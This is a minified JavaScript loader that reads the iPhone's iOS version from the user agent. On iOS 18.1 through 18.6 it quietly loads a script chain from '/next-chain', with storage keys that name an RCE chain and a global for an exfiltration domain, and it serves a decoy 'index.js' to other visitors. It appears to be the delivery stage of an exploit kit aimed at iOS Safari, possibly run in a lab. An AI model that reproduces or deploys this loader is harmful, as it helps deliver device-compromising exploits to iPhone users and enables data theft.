(function () { var DS_BASE = '/next-chain'; var HOLD_MS = 10 * 60 * 1000; var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at']; function parseIosVersion() { var ua = navigator.userAgent || ''; var m = /iPhone OS ([0-9_]+)/.exec(ua); if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua); if (!m) m = /CPU OS ([0-9_]+)/.exec(ua); if (!m) { m = /Version\/(\d+)\.(\d+)/.exec(ua); return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null; } return m[1].split('_').map(function (p) { return parseInt(p, 10); }); } function cmpVer(a, b) { for (var i = 0; i < 3; i++) { var ai = (a && a[i]) || 0; var bi = (b && b[i]) || 0; if (ai < bi) return -1; if (ai > bi) return 1; } return 0; } function persistChannelCode(code) { code = String(code || '').trim().slice(0, 64); if (!code) return ''; try { window.__LAB_CHANNEL_CODE__ = code; window.__CORUNA_CHANNEL__ = code; } catch (e0) {} try { sessionStorage.setItem('lab_channel_code', code); } catch (e1) {} try { localStorage.setItem('lab_channel_code', code); } catch (e2) {} return code; } function channelCode() { try { var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i); if (m && m[1]) return persistChannelCode(m[1].toUpperCase()); } catch (eP) {} return ''; } function dsUrl(path) { var origin = ''; try { if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, ''); } catch (e) {} return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path); } function loadScript(src, onload, attempt) { attempt = attempt || 0; var s = document.createElement('script'); s.async = false; s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now(); s.onload = function () { if (onload) onload(); }; s.onerror = function () { if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1)); }; (document.body || document.documentElement).appendChild(s); } function loadScripts(urls) { var i = 0; function next() { if (i >= urls.length) return; loadScript(urls[i++], next); } next(); } function holdFresh() { var now = Date.now(); for (var i = 0; i < HOLD_KEYS.length; i++) { var key = HOLD_KEYS[i]; try { var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0; if (ls && now - ls <= HOLD_MS) return true; } catch (e0) {} try { var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0; if (ss && now - ss <= HOLD_MS) return true; } catch (e1) {} } return false; } function markHold() { var ts = String(Date.now()); try { localStorage.setItem('__ds_rce_hold', ts); localStorage.setItem('__ds_chain_hold', ts); } catch (e2) {} try { sessionStorage.setItem('__ds_rce_hold', ts); sessionStorage.setItem('__ds_chain_hold', ts); } catch (e3) {} } function loadDs(code) { if (holdFresh()) return; markHold(); persistChannelCode(code); try { window.__LAB_DELIVERY_HOST__ = dsUrl(''); if (!window.__LAB_EXFIL_DOMAIN__) { window.__LAB_EXFIL_DOMAIN__ = location.hostname || ''; } } catch (eH) {} loadScripts([dsUrl('/lab_hosts.js'), dsUrl('/config.js'), dsUrl('/boot.js')]); } var ios = parseIosVersion(); var code = channelCode(); if (!ios || cmpVer(ios, [18, 1]) < 0) { loadScript('index.js'); return; } if (cmpVer(ios, [18, 7]) < 0) { loadDs(code); } })();